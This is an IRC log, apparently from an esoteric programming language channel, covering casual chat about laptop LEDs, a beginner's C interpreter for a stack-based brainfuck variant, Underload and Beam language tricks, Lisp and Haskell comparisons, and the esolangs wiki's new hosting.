18:54:51 <ais523> the HDD light on this laptop is just below the touchpad
18:54:53 <ais523> but I hardly look at it
18:54:55 <Vorpal> much less useful with SSDs of course
18:55:12 <Vorpal> ais523, well my laptop has 10 status lamps below the screen
18:55:38 <Vorpal> wlan, bluetooth, numlock, capslock, hdd, power, battery, AC, suspended
18:56:27 <Vorpal> I'm pretty sure the battery one is tri-colour (green, orange, red)
18:57:17 <Vorpal> ais523, another question: why are there usually status lamps at each ethernet port. It isn't all that useful and surely removing them would save battery life in a laptop
18:57:18 <ais523> there are 9 here: AC, power, battery, HDD, SD card, wlan, one that's never been on and has a signal strength icon, scroll lock, numlock
18:57:35 <ais523> and I've used a system where the ethernet status lights were incredibly useful
18:57:51 <Vorpal> and sure it is useful sometimes for debugging, indeed
18:57:52 <ais523> as they were the only method of determining whether the system was powered on, and whether it had booted
18:58:14 <ais523> (and ssh was our only way to communicate with it, without reassembling the thing to have a serial port and using that)
18:58:29 <ion> I’m not sure LEDs are a major power drain in laptops.
18:58:30 <Vorpal> well that is usually not the case for a laptop
18:58:30 <Vorpal> ais523, some embedded system?
18:58:58 <Vorpal> ion, the ethernet leds are fairly bright compared to the normal status LEDs
19:00:53 <ais523> ooh, 17 unread Usenet messages, that's a lot
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19:22:52 <HackEgo> audy: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
19:42:44 <lambdabot> ghc says: Exotic Stmt in meta brackets
19:42:53 <lambdabot> ghc says: GHC stack-space overflow
19:44:08 <lambdabot> ghc says: Malformed constructor signature
19:44:10 <lambdabot> ghc says: accepting non-standard pattern guards (-fglasgow-exts to suppress this message)
19:44:11 <lambdabot> ghc says: Implicit-parameter bindings illegal in a parallel list comprehension
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19:46:12 <olsner> ghc says the darndest things
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19:56:22 <lambdabot> ghc says: Use -fallow-incoherent-instances
19:56:27 <lambdabot> ghc says: No constructor has all these fields
19:57:38 <olsner> inactive incoherent instances?
19:58:54 <ais523> fallow is a bit more specific than inactive
19:59:10 <ais523> fallow land is land that you allowed to go wild for a year so that when you farmed it again the next year, it'd be more fertile
20:00:08 <olsner> right, so you tell ghc to fallow the incoherent instances so that you can use them more productively later?
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20:07:38 <Taneb> Writing programs in Fueue is hard...
20:10:34 <Taneb> I've written most of a Truth-machine in Fueue
20:11:02 <Taneb> I just need some way to get input and subtract 48 from it, then let it end up in PRECISELY the right place
20:12:39 <Taneb> ...I think [49:[49:(](!][48H]($+-49 would work
20:12:58 <Taneb> [49:[49:(](!][48H]($+-48 rather
20:20:44 <Taneb> [49(:[49(:](!][48H]($+-48 and I'm pretty much certain that works
20:21:23 <fungot> Taneb: help on how to think of it as " call-by-need" because unlike call-by-name, it caches the value of the current position in the global environment of the cond-it _module_, if-it is still bound in the usage environment.
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20:25:29 <elliott> that was the worst hi outbreak in months
20:25:48 <elliott> if nobody has the strength to stop them before they go too far, humanity itself could be at risk
20:29:27 <ion> IIRC Monty Python had a sketch about a meeting of n people requiring n·(n−1)/2 handshakes.
20:32:24 <elliott> ion: You can say "triangular number", you know.
20:33:03 <ion> elliot: I failed to remember the function’s name at the time.
20:33:57 <elliott> Then you failed to remember my name at the critical moment, too. :(
20:34:12 <elliott> You need to http://www.downloadmoreram.com/ for your brain.
20:35:17 <ion> That was just a typo. :-)
20:35:51 <elliott> I'm going to make some typos of my own, if you know what I mean. What I mean is that I'm going to bed.
20:36:31 <ion> (You can add “in bed” to anything… in bed!)
20:38:07 -!- Taneb has quit (Ping timeout: 252 seconds).
20:40:05 <ais523> hmm, I think that doesn't actually imply that you're going to bed
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20:45:43 <oerjan> 18:33:12: <elliott> i blame oerjan
20:45:43 <oerjan> 18:33:17: <elliott> and that pun has to go
20:46:37 <oerjan> but at least someone noticed.
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20:49:02 <oerjan> damn touchpad acting up
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20:51:00 <olsner> what's the pun? was it a good pun?
20:51:12 <olsner> what is its relation to oerjan?
20:51:45 <Vorpal> olsner, /cycle and read the join message (if it is still there)
20:53:12 <Vorpal> olsner, parts and joins the channel again in most clients
20:53:31 <olsner> channels have join messages?
20:53:34 <Vorpal> olsner, if you want to know the pun that is
20:53:58 -!- olsner has left.
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20:54:34 <olsner> oh, "Check out our sub-lime wiki: http://esolangs.org/wiki/"
20:55:13 <monqy> remove the hyphen and it'll get better
20:55:32 <olsner> what makes the wiki sublime?
20:57:35 <monqy> hyphenating sub-lime makes it too obvious
20:57:42 <Vorpal> hm is lasting 7 years for a consumer ADSL modem bad or good?
20:58:03 <Vorpal> (I just looked up the date when I bought my ADSL modem to check if there was still any warranty, of course there wasn
20:58:44 <mroman_> Is that supposed to be the "featured" languages list?
20:59:19 <mroman_> apparently it does that for every search string with a -
21:01:13 <Goosey> Mind if I ask a C dev question about an esoteric language I'm writing?
21:02:47 <Goosey> Well currently, I have the entire thing written, but it's having some funny errors. The language is based on brainf***, but each cell is a stack. anyways when I try to interpret: '!\'d\'l\'r\'o\'W\0#' \>'o\'l\'l\'e\'H\[./]<[/.] it should output "Hello World!"
21:03:34 <Goosey> However, it outputs "HelloWorld!" Instead, I can make it output hello world by doubling the ' \\>, but I shouldn't have to....if I don't change cells and just do '!\'d\'l\'r\'o\'W\' \'o\'l\'l\'e\'H\[/.] it works fine
21:04:18 <Goosey> Here's the source: http://pastie.org/private/dxlpozwrkgqr3ztbfxtcgg
21:04:34 <Goosey> (Note this is my first C program) >_<
21:05:46 <Goosey> Also, so far, I've been able to reduce the source to about 500 bytes.
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21:09:46 <mroman_> Goosey: Where do you put the characters on the stack?
21:10:38 <Goosey> Every time you do '!\ it pushes that character to the current cell's stack
21:11:22 <Goosey> So the first one which is broken pushes " World!" to the first cell stack, moves to the second and pushes "Hello" to it, then moves to the first and recursively prints it, where it then moves to the second and does the same.
21:11:53 <Goosey> Right now, it seems like the last character before a move cell symbol(><) needs to be pushed to the cell twice to be printed
21:14:05 <mroman_> those are the stack pointers?
21:14:14 <Goosey> stack_s retains the size of the stack for each cell
21:14:33 <Goosey> That way, when I move to another cell, it'll start at whatever item was last pushed
21:14:40 <Goosey> That seems to be the area of the problem
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21:15:03 <mroman_> stack_s[cell] = --st_point;?
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21:15:50 <Goosey> the st_point contains the actual value of the stack's depth
21:16:03 <Goosey> stack_s[cell] associates it with the correct cell
21:17:39 <Goosey> I thought so too, but when I tried removing it, the thing broke, so there is something that is making use of it
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21:18:12 <mroman_> You could just fill stack_s with n*(int)128
21:18:31 <mroman_> Now stack_s is a relative pointer from the middle of the stack 128
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21:18:43 <mroman_> and then you do st_point = 128 + stack_s[cell]
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21:19:08 <Goosey> I couldn't figure out how to initialize the entire stack
21:19:20 <Goosey> so that was a dirty hack..
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21:19:41 <mroman_> With calloc you can get a zero initialized array
21:19:45 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
21:19:50 <EgoBot> languages: Esoteric: 1l 2l adjust asm axo bch befunge befunge98 bf bf8 bf16 bf32 boolfuck cintercal clcintercal dimensifuck glass glypho haskell kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl. Competitive: bfjoust fyb. Other: asm c cxx forth sh.
21:19:54 <Goosey> I need a 128 initialized array :(
21:20:38 <Goosey> I think I tried that, but let me try again
21:21:18 <mroman_> You could also use structs
21:21:38 <mroman_> struct cell { int st_pointer; char[] stack; } or something like that
21:22:17 <mroman_> And why is the stack pointer 128
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21:22:25 <mroman_> when the size of the stack is 256?
21:22:42 <mroman_> If you just do pop/push combinations there is no reason to start in the middle of the stack?
21:22:43 <Goosey> mroman_, so so that you can start giving it negative values
21:22:58 -!- Senya has left.
21:23:06 <Goosey> I mean, what if some guy popped before he pushed?
21:23:17 <mroman_> usually that'd crash a program
21:23:22 <Friendship> What kind of a sick fuck would do that anyway.
21:23:25 <mroman_> you can't pop what's not there.
21:23:39 <Goosey> Yeah, but in mine, it'll just pop a 0;
21:23:44 <mroman_> what punkt would do that ;)
21:24:05 <Goosey> I should just rewrite the entire thing now that I'm a bit better in C
21:24:15 <Goosey> I literally wrote that while I was reading the tutorials xD
21:24:16 <mroman_> Thats like asking for data which is not present :)
21:24:42 <mroman_> "Hey! Gimme the book on top of that empty non-existing stack of books!"
21:27:07 <Goosey> So what are structures? just a way of organizing a set of variables?
21:27:49 <mroman_> struct point { int x; int y }; allows you to write stuff like
21:28:00 <mroman_> struct point myPoint; point.x = 5; point.y = -1;
21:28:40 <mroman_> and you can typedef so you don't have to write struct everytime
21:28:47 <mroman_> typedef struct point { ... } point;
21:29:32 <mroman_> if you stuff function pointers into a struct you almost have OOP ;)
21:29:49 <Goosey> I don't really know what OOP is x)
21:29:57 <mroman_> Object oriented programming.
21:30:02 <mroman_> The most evil kind of programming.
21:30:05 <Goosey> I know that :P I just don't know what it is.
21:30:24 <Goosey> I've been programming in Haskell, Prolog, and Assembly for the past few years
21:30:46 <mroman_> I never really got Prolog, sadly as it is.
21:31:01 <Goosey> I liked it, but it felt limiting, which is why I started learning haskell
21:31:25 <Goosey> I've been on a binge, haven't programmed in a while, so I'm trying to learn them all again
21:32:24 <Goosey> I tried C, but it felt kinda gross ;S
21:34:01 <mroman_> I always thought biased comes from "Biatch".
21:34:12 <mroman_> so... not... very... nice...
21:34:14 <Goosey> They're sorta synonyms...
21:34:25 <Goosey> Biased is just your point of view really.
21:35:11 <Goosey> Being biased is just having your own opinion based off personal experience or your likes/dislikes
21:36:32 <Goosey> I don't describe things well xD
21:36:46 <Goosey> The conversion from abstract to concrete isn't something I excel at.
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21:39:02 <Goosey> Well, for now I fixed it using a very shameful method >_>
21:40:37 <Goosey> case '\\': tpush(); if((fpeek(file) == '>') ||(fpeek(file) == '<')) tpush();break;
21:41:10 <Goosey> It'll just push a second time if it notices the \ is followed by one of those :|
21:41:14 <mroman_> that looks like a workaround for something.
21:41:41 <Goosey> It's like using duct tape to patch up a car window or something >_>
21:41:54 <mroman_> Mythbusters proved that possible \o/
21:42:21 <mroman_> as they do everything with duct tape.
21:42:35 <Goosey> It's like patching a window with scotch tape >_>
21:42:44 <Goosey> I haven't seen myth busters in a couple years sadly :|
21:42:56 <Goosey> The last episode was probably the thermite through metal one..
21:43:13 <mroman_> They met obama in one episode
21:43:17 <mroman_> that's the last I remember.
21:43:47 <mroman_> and he insisted on retesting a myth they tested for over 3 or 4 episodes.
21:44:21 <mroman_> stupid archimedes mirror thingy ;)
21:46:17 <Goosey> I remember that episode
21:47:38 <Goosey> mroman_, Is there a quick way to get a character and convert it to it's numeric value
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21:50:00 <oerjan> i'm pretty sure C's getchar() returns an int (so that it can give a different value for EOF)
21:50:38 <Goosey> Yeah, I meant to say a string to int but it seems that's what atoi does
21:50:40 <oerjan> in fact the C unlambda interpreter had a bug due to using char instead
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21:51:53 <mroman_> A character is a numeric value
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21:52:21 <oerjan> which caused some minor trouble with my unlambda in unlambda interpreter when running it with itself
21:52:23 <shachaf> I am not a numeric value! I am a free character!
21:52:30 <Goosey> I just needed a way for the user to input newlines and other unprintable characters
21:52:52 <mroman_> I usually overdo it with esolangs :)
21:53:07 <mroman_> They are even more high-level than C.
21:53:09 <oerjan> (it can be "fixed" by just replacing the ?\255 in the program with something else)
21:53:23 <Goosey> Lisp is pretty similar to Haskell
21:53:52 <Goosey> But They are more similar than Lisp and C or any other language :P
21:53:55 <mroman_> Does Lips have Typeclasses?
21:54:25 <monqy> what's preventing a lisp from having typeclasses
21:54:40 <mroman_> I don't know that much of lisp.
21:54:43 <Goosey> Okay, the only reason I say it's similar is because I saw that you could do anonymous functions and it had lists....
21:54:52 <mroman_> But something which is not pure is no way like haskell.
21:54:58 <mroman_> Because then python would be like haskell.
21:55:04 <oerjan> Goosey: i think that's almost like those who cannot see the difference between people of other "races"
21:55:05 <mroman_> Javascript would even be more like haskell than python.
21:55:06 <monqy> mroman_: python can't do anonymous functions
21:55:22 <mroman_> reduce(lambda a,b:a+b,*args);
21:55:23 <monqy> lambda is different from normal functions in python
21:55:39 <mroman_> You can't use statements in lambda
21:55:40 <monqy> lambda can only do expressions, not sequences of statements. it's a pretty big difference
21:55:51 <mroman_> statements are not pure, so yeah.
21:55:57 <monqy> expressions aren't pure either
21:55:58 <mroman_> That's a good thing @no statements
21:56:20 <monqy> so really that's irrelevant
21:57:02 <mroman_> You can work around much of it though.
21:57:05 <oerjan> pattern matching can be implemented with lisp macros, i think
21:57:09 <mroman_> you can assign something to a variable in a lambda
21:57:20 <mroman_> (a = 5) && False or something like that works.
21:57:20 <oerjan> it's just not traditional lisp
21:57:32 <monqy> mroman_: but then you're working around it
21:57:51 <mroman_> monqy: If I had to workaround something I wouldn't use lambda
21:58:15 <mroman_> def foo(): def foobar(): ...
21:58:49 <monqy> just like how you can emulate that sort of thing in C with enough effort
21:59:22 <mroman_> But we can not argue with that.
21:59:35 <mroman_> Because somehow it must be possible to emulate that sort of thing in brainfuck ;)
21:59:57 <Goosey> * is a pointer and & is the address in the pointer right?
21:59:59 <monqy> then brainfuck is similar to haskell, it seems
22:00:09 <mroman_> & is the adress of a variable
22:00:23 <mroman_> int a = 5; int ptr_to_a = &a;
22:01:19 <mroman_> int* i; i is a pointer; *i is the value behind the pointer to i
22:01:27 <mroman_> and &i would be a pointer to a pointer
22:02:35 <olsner> monqy: they're both turing complete? :)
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22:08:51 <oerjan> hm i have a feeling the universe is trying to keep me from meeting people today
22:09:47 <Goosey> Well now that it's working I have a little program that tests whether it's 0 or not: ^\['Y./>+\<]>-\['N./]
22:10:04 <Goosey> It'll print Y on 0 and N for everything else
22:11:48 <oerjan> <monqy> hyphenating sub-lime makes it too obvious
22:12:03 <oerjan> but but - would people notice it at all otherwise
22:12:29 <oerjan> also, y'all are too damn hard to please.
22:12:36 <olsner> it would just be nonsensical without the hyphen
22:12:45 <olsner> as I said, what's sublime about it?
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22:18:42 <monqy> my preference is to err on the side of oversubtle nonjokes, then spoil them later
22:18:46 <monqy> "bad style, bad monqy"
22:19:50 * oerjan subtly swats monqy -----###
22:22:05 <olsner> so how do I make a lisp that supports destructive updates and lexical closures and all that stuff in a language that doesn't have it?
22:22:11 <olsner> (preferrably without doing any work and/or thinking)
22:23:13 <monqy> step 1. think; step 2. do work
22:23:36 <olsner> omg that solution is 100% wrong
22:25:07 <olsner> or maybe I'll just do purely functional lisp instead
22:27:09 <olsner> otoh, it might not actually be that hard to build a heap-like thing where stack frames can live and be modified, and thread the updated heap through the whole thing
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23:19:38 * oerjan wonders why opening gvim has recently started pegging cpu to 100% for several seconds
23:21:23 <oerjan> i think it started after i ditched avg for mse
23:25:50 <Friendship> I suggest that the problem is probably Windows.
23:29:26 <oerjan> yes, it seems that something's fishy with opening my desktop folder, even from other places than gvim
23:30:06 <oerjan> (or whatever the proper english name is)
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00:07:23 <olsner> hmm, so the tricky part appears to have been making defined functions have bindings for their name in their own environments
00:07:47 <olsner> so I have a purely functional lisp now, I think
00:08:33 <olsner> next step: implement enough stuff to write a different lisp in that lisp
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02:29:02 <Sgeo> olsner, well, first thought, is something like the State monad >.>
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04:18:43 <PiRSquared> http://www.cs.bham.ac.uk/~ais523/ this page seems to have <?php ?> tags which are not being processed on it
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04:49:35 <zzo38> Is what kind State monad?
04:49:35 <lambdabot> zzo38: You have 2 new messages. '/msg lambdabot @messages' to read them.
04:49:41 <lambdabot> elliott said 15h 46m 15s ago: yes, by the way: http://creativecommons.org/publicdomain/zero/1.0/legalcode.txt
04:49:41 <lambdabot> elliott said 15h 46m 3s ago: and see http://wiki.creativecommons.org/CC0_FAQ#May_I_apply_CC0_to_computer_software.3F_If_so.2C_is_there_a_recommended_implementation.3F
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05:49:01 <kallisti> for like hundreds of tests to finish.
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07:14:46 <mroman_> He has a purely functional lisp in some lisp.
07:14:55 <olsner> Sgeo: yes, the state monad, done manually, with something like a Map and a counter for fresh IDs as the state
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07:36:29 <zzo38> What is this stuff about a state monad?
08:04:33 <mroman_> Finding optimal constants is really not that easy
08:08:48 <mroman_> Either pick size or speed.
08:09:42 <lambdabot> http://code.haskell.org/lambdabot/COMMANDS
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09:48:40 <mroman_> My irssi stopped logging stuff since 29. Feb 2012 o_O
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09:55:56 <monqy> that's today, isn't it
09:57:56 <fizzie> It no longer logs the future, like it used to.
10:03:03 <fizzie> It's taking the leap day off.
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10:17:17 <mroman_> My permissions are corrupted somehow
10:17:42 <ais523> except elliott because he isn't here
10:18:32 <fizzie> ais523: I think there's quite a lot of other people who are not here either.
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11:42:16 <Vorpal> <fizzie> It no longer logs the future, like it used to. <-- what?
12:04:16 <ais523> hmm, this polymorphic variants thing in OCaml is about halfway between standard type systems and Anarchy
12:04:27 <ais523> it'd be a lot more of the way if you could have polymorphic temporary bindings
12:05:07 <ais523> - : '_a -> [> `E of [> `E of '_a * int ] * int ] = <fun>
12:05:09 <ais523> # let x = q(4) in x // x ;;
12:05:10 <ais523> - : (_[> `E of 'a * int ] as 'a) -> [> `E of 'a * int ] = <fun>
12:05:40 <ais523> in Anarchy, you'd expect the two (translated appropriately for syntax) to do the same thing
12:06:57 <ais523> one thing that's definitely nice is that OCaml's syntax for types is expressive enough to describe all the types in Anarchy (or would be, if a couple of arbitrary restrictions were removed)
12:07:37 <fizzie> Vorpal: Just, you know, horsing around. (Isn't that the expression?)
12:07:46 <fizzie> (No actual horses were involved.)
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12:09:31 <ais523> anyway, this is the fundamental reason that oerjanswap doesn't type in OCaml (and Haskell does even worse)
12:09:50 <ais523> it's because if you copy something with :, both languages expect both copies to be applied to the same sort of stack
12:11:10 <ais523> oklopol: it's an Underload program, aa((!((aa)(!))))*:*^!**^a*^a*aa*(*:*^!**^)*^
12:11:17 <ais523> it does the same thing as ~ but without using ~
12:11:48 <ais523> I've actually been having fun trying to create it, the *:*^ bit is IMO the most important bit
12:12:14 <fizzie> Oh, Chrome... http://users.ics.tkk.fi/htkallas/bitmap.txt "This page is in [Galician]. Would you like to translate it? [Translate] [Nope]"
12:12:19 <fizzie> I... really don't think it is.
12:12:26 <fizzie> Though admittedly I don't speak Galician.
12:12:48 <ais523> does it translate to anything intelligible?
12:13:06 <fizzie> ais523: Some of the "XXXXXX"s turn into "Xxxxxx"s, and some spaces disappear.
12:13:45 <oklopol> that doesn't sound like a lot but it's readable after that
12:14:49 <ais523> oklopol: what are you referring to? the Xxxxxx thing, or something else?
12:15:45 <fizzie> (The rows are students, and the columns are exercises they've answered; I was trying to check if it looks like the columns are getting sparser as they go from left to right.)
12:16:09 <fizzie> (It does kind of look like they are.)
12:16:30 <oklopol> no it's obviously an ironic take on social darwinism and its effect on post-modern agricultural education.
12:18:04 <oklopol> ais523: so what does oerjanswap do?
12:18:12 <ais523> oklopol: the same thing as ~
12:18:23 <oklopol> is there an example run somewhere so i don't have to do it myself
12:18:54 <ais523> http://esolangs.org/wiki/Talk:Underload#Tracing_the_.7E_replacement_code
12:18:55 <fizzie> ThankU, the most grateful university.
12:19:12 <ais523> I find it more useful to step through it in the online interp, though
12:20:52 <Vorpal> huh new mediawiki? When did that happen? Haven't really been paying attention
12:21:39 <fizzie> There was a "coup". (Is that the right word?)
12:21:53 <Vorpal> heh, ehird behind it too hm
12:22:03 <Vorpal> well, I just hope it stays up then
12:22:17 <fizzie> Apparently it needs to be "illegally" or "by force" to qualify as a coup, according to WordNet.
12:22:46 <Vorpal> "I've given myself and User:ais523 bureaucrat rights" <-- right, sounds like a coup
12:23:10 <ais523> Vorpal: Graue set up a redirect from esoteric.voxelperfect.net (which he still owns) to esolangs.org (which ehird now owns)
12:23:31 <ais523> so it's with his blessing, at least
12:23:57 <Vorpal> I'm just worried that it will suddenly go down. Previously ehird's server haven't been the most stable in the long term.
12:23:57 <fizzie> Clarity in Expression 2012 campaign message again: esolangs.org is pointing at elliott's thing, he doesn't "own" the domain, which is what a reasonable person would assume you're referring to if you just say it like that.
12:25:18 <Vorpal> oh so who owns the domain then?
12:25:49 <fizzie> THE ALAN DIPERT is I think the accepted spelling.
12:26:14 <fizzie> (There's been no change there. Well, except maybe in the spelling.)
12:26:18 <Vorpal> fizzie, also "Clarity in Expression 2012 campaign"?
12:26:57 <fizzie> I did one such inane detail-oriented correction few days (weeks?) back under the same title.
12:27:09 <fizzie> Anything done twice is a tradition.
12:27:38 <fizzie> Though it might've been in another channel, actually.
12:27:56 <oklopol> may be Power of the Continuum inspire us to create a new esolang.
12:28:17 <fizzie> 2012-02-23 10:27:52 <fizzie> Also is it a PRNG instead of a RNG? (This message sponsored by the "Exactness in Expression 2012" campaign.)
12:28:26 <fizzie> Oh no, I misrekolibred.
12:28:38 <fizzie> Let's just say they changed the name.
12:28:53 <oklopol> perhaps it's a competing campaing
12:37:20 <fizzie> Also I think the oerjanswap trace might look more readable if someone aligned the show-the-command, and maybe added the remaining program at the end, something like http://sprunge.us/XJSC even though it's quite a bit wider.
12:38:05 <fizzie> An oerjanswap is where aliens swap an oerjan with a fakerjan and fool us all.
12:38:09 <fizzie> It might have already happened.
12:39:13 <oklopol> well i get that he has a pattern which puts something under the topmost thing in stack which is of the form X(pattern)Y, he then puts X under B, pushes Y, and concatenates, then running finishes the job
12:39:35 <oklopol> how the pattern works i don't completely get yet, and i suppose that's the main idea
12:39:48 <oklopol> that should've been X(something)Y
12:40:19 <ais523> hmm, you're thinking about it from the opposite end that I was
12:40:58 <oklopol> well mine is how oerjan wanted it to be solved
12:41:19 <oklopol> at least that's how i understood the comment
12:41:33 <oklopol> or did you mean you're trying to understand The Pattern first?
12:44:06 <oklopol> okay so the pattern is not very complicated
12:45:11 <ais523> I mean, I think we both thought "hey, it's implementing dip"
12:45:29 <ais523> but I didn't think of it in terms of constructing a string to put one element under the other element
12:45:56 <ais523> but rather, using it to escape the bottom element so that you could concat the escaped top one to it safely
12:46:04 <ais523> with some extra stuff in between to pop out the unwanted elements
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12:46:15 <oklopol> what it does is it forward-creates a program which has put B, remove it, then put something. it duplicates this and removes the last "remove it then put something", and runs. now, B will be put, then removed, then something is put, then B is put again but not removed.
12:46:29 <oklopol> the rest is complicated paren putting and removal by running
12:48:05 <oklopol> (that's tired for "i'm too lazy to understand what you mean".)
12:49:14 <oklopol> i don't see where in your interpretation the actual swapping happens
12:49:53 <ais523> it constructs (a)(b)(a)(b), then gets rid of the outside ones
12:50:12 <ais523> getting rid of the top one is easy, getting rid of the bottom one you do by sneaking an ! in while you're constructing it
12:50:33 <oklopol> but i still prefer my interpretation
12:52:18 <oklopol> because it's putting arbitrary constants under stuff => being able to wrap topmost element in pretty much any piece of code => putting even B under stuff
12:52:28 <oklopol> awesome use of concatenativeness
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13:19:24 <ais523> btw, is it weird that I've been reading the wiki offline from the dumps?
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13:45:58 <Phantom_Hoover> I'm trying to compile Oolite, but it keeps erroring out because it doesn't have jsapi.h, in spite of jsapi.h existing.
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14:14:03 <Vorpal> Phantom_Hoover, maybe in the wrong directory?
14:14:32 <Vorpal> Phantom_Hoover, check the include path used when compiling then?
14:14:38 <Vorpal> and patch it if it needs it
14:14:53 <Vorpal> Phantom_Hoover, check the place where it is included too
14:15:21 <Vorpal> Phantom_Hoover, and if all else fail check if debian applied any patches to their package of it (if they have one)
14:15:34 <Vorpal> well, any relevant patches
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14:21:51 <Phantom_Hoover> "src/Core/Debug/OODebugMonitor.m:176:4: error: -fobjc-exceptions is required to enable Objective-C exception syntax"
14:22:19 <Vorpal> Phantom_Hoover, well, turn that flag on then?
14:23:16 <Vorpal> arch packages are usually pretty up-to-date
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15:10:41 <elliott> http://esolangs.org/wiki/Talk:Basic_Input/Output_Commander oh dear
15:17:54 <ion> Btw, what’s the significance of the logo in the top left corner?
15:18:09 <fizzie> It has sub-lime significance, has it not?
15:20:17 <fizzie> (I suppose the pun in the welcome message has not yet "went".)
15:21:25 <fizzie> If you search the log, you can find that it symbolizes the matrix of solidity.
15:22:34 <fizzie> <ais523> I think the official answer is "it's just an image Graue chose as a placeholder, and people decided they liked it"
15:22:56 <fizzie> (It's also called the "trilime".)
15:32:12 <elliott> ion: It's the logo of the matrix of solidity.
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15:41:16 <mroman_> http://fpaste.org/rU0t/ <- is this a correct implementation of tag systems?
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15:42:01 <mroman_> are production rules with more than one character allowed?
15:43:00 <mroman_> (at least, the code produces the correct output for this example)
15:43:20 * elliott wonders what mroman_ means by "misregistered"
15:43:25 <elliott> the nick mroman isn't even registered at all :)
15:44:07 <elliott> -NickServ- mroman is not registered.
15:44:20 -!- mroman_ has changed nick to mroman.
15:44:21 <elliott> you should be able to re-register it, I think
15:45:02 * elliott should think through what he's about to say before saying it :p
15:46:03 <mroman> I can re-register with the same e-mail address.
15:46:12 <elliott> heh, so mroman_ owns mroman :D
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15:46:41 <elliott> whoa, you can set your account name
15:47:02 <elliott> (/ns set accountname <nick>)
15:47:10 <elliott> if I knew that I wouldn't have had to make new accounts every time I change primary nick :p
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16:01:53 <fizzie> "There is a 94% chance your computer has registry problems. Fix them now and increase your PC speed!" This stupid ad banner could do with a [citation needed] for the 94%.
16:05:11 <mroman> My computer has no registry.
16:07:24 <elliott> mroman: Sounds like a registry problem to me.
16:07:31 <fizzie> Well, I do have both Wine on this thing.
16:08:44 <fizzie> Also quite a lot of people seem to be calling the gconf thing a "registry", but no authoritative sources.
16:09:20 <fizzie> I suppose it's officially a "configuration database" instead.
16:09:24 <fizzie> Whoops, bus to catch. ->
16:10:40 <elliott> fizzie needs to keep a closer eye on his buses.
16:12:52 <elliott> "Although folds and maps are preferable in most cases I still miss the generality of the for loop from time to time. There is no good way that I know of to get the functionality of break and continue without having to define a function. So if anyone has a good solution for that, please let me know."
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16:39:34 <HackEgo> sampero: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
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16:45:24 <fizzie> You even made em quit, not just part, so it double-worked.
16:50:23 <elliott> http://esolangs.org/wiki/Collatz_function The wiki really wants <math>, doesn't it.
16:51:56 <Friendship> elliott: If only it had zzo's TeX renderer *sigh*
16:53:32 <mroman> I should add a whimp instruction to Beam
16:54:10 <mroman> Unless someone has an idea how to detect if the flow was reversed and escape it
16:54:18 <mroman> but I don't think that is possible.
16:55:25 <fizzie> What would "whimp" do?
16:56:06 <mroman> I'd call it the 'x' construction.
16:56:19 <mroman> if the beam is coming from left change direction to down
16:56:27 <mroman> if the beam is cominf from right, change direction to up
16:56:34 <mroman> if the beam is coming from up/down don't do anything.
16:56:38 <elliott> fizzie: Sort of like speech recognition researchers do every night.
16:56:47 <elliott> Fully aware of the futility of their life.
16:57:01 <mroman> Which would enable it to detect if the control flow was reversed
16:57:06 <mroman> and make things a lot easier.
16:57:23 <mroman> Currently the only real practical way to write programs is to write them in brainfuck and transate it.
16:57:24 <fizzie> You could instead just have the "turn left/right 90 degrees" instructions. Though of course "whatever".
16:57:42 <fizzie> It's going to make the brainfuck translation real boring, though.
16:57:44 <elliott> fizzie: YOU CAN'T DENY THE TRUTH
16:58:14 <fizzie> elliott: I'm not going to even bother with the recursive "I'm not going to dignify that" stuff.
16:58:46 <elliott> fizzie: Why? Because your speech recognition software's stack would overflow?
16:59:22 <fizzie> *LAA LAA LAA NOT DIGNIFYING LAA LAA*
16:59:44 <mroman> Because then you can check for beam==0
16:59:50 <mroman> without having to bother about the store
17:00:10 <mroman> Which would make the translation rather boring, indeed.
17:01:36 <elliott> Friendship: Hey how do you get a minimal LaTeX on Debian
17:01:47 <elliott> The smallest thing I could get apt to consider was about 150 megs :(
17:02:02 <Friendship> elliott: "Minimal" and "LaTeX" don't belong in the same sentence.
17:02:50 <elliott> Friendship: it was absolutely useless. Thanks
17:04:54 <oklopol> friendship is not useless, friendship is magic
17:06:09 <elliott> Need to get 32.7 MB of archives.
17:06:10 <elliott> After this operation, 73.8 MB of additional disk space will be used.
17:06:10 <elliott> Do you want to continue [Y/n]?
17:06:17 <elliott> Oh, that's not so bad, once I --no-install-recommends.
17:06:27 <elliott> I like how it depends on ed.
17:06:49 <elliott> Oh wait, I also need OCaml.
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17:26:46 <mroman> http://fpaste.org/7hec/ <- whimp mode would allow this.
17:26:52 <mroman> (which reverses stdin)
17:34:40 <mroman> so I don't add that as a documented instruction :D
17:37:29 <fizzie> The example looks codeflowistically awfully overcomplicated; I mean, why not just http://p.zem.fi/pehr or something.
17:38:11 <fizzie> I must fix that at time T.
17:38:16 <elliott> Shouldn't have dictated your code with Dragon NaturallySpeaking.
17:38:30 <mroman> I was experimenting so I did not really care about codeflow
17:38:40 <mroman> and yours loops forever
17:38:53 * elliott thinks this whimp thing sounds boring. (Also is it meant to be "whimp" rather than "wimp"?)
17:39:43 <fizzie> mroman: Where does it loop forever?
17:40:21 <mroman> My code sets memory[0] to zero
17:40:22 <elliott> Not... really: http://public.wsu.edu/~brians/errors/whimp.html
17:40:31 <mroman> since >`pn is basically looking for a zero cell
17:40:41 <mroman> if it finds a zero cell, it terminates
17:40:52 <mroman> you set memory[0] to whatever stdin[0] is.
17:41:00 <mroman> which leads to an endless loop
17:41:33 <fizzie> Oh, well, reorder the P and '; anyway. Also isn't >`pn looking for just cell where memory[i] == i?
17:44:02 <mroman> testing for store == 0 is not really practical
17:44:23 <mroman> as ( ) both reverse the control flow which is not that useful because you can't escape that
17:45:05 <mroman> although with x that is possible
17:47:13 <fizzie> So it's some sort of a tractor beam then.
17:47:29 <elliott> By the way, / and \ could do with some... word-based descriptions.
17:47:47 <mroman> entry angle = exit angle?
17:47:53 <mroman> they work like mirrors
17:48:16 <elliott> Couldn't you just say "rotates the beam n degrees"?
17:48:26 <elliott> Uh, s/the beam/the control flow/.
17:48:52 <mroman> But I think those instructions are of no use anyway :)
17:49:18 <elliott> That's the spirit! Remove instructions instead of adding them :p
17:49:56 <mroman> The only working way to program is like the bf2beam.pl mechanism works
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17:50:33 <mroman> as soon as you have to check beam == 0, store == 0 you're screwed ;)
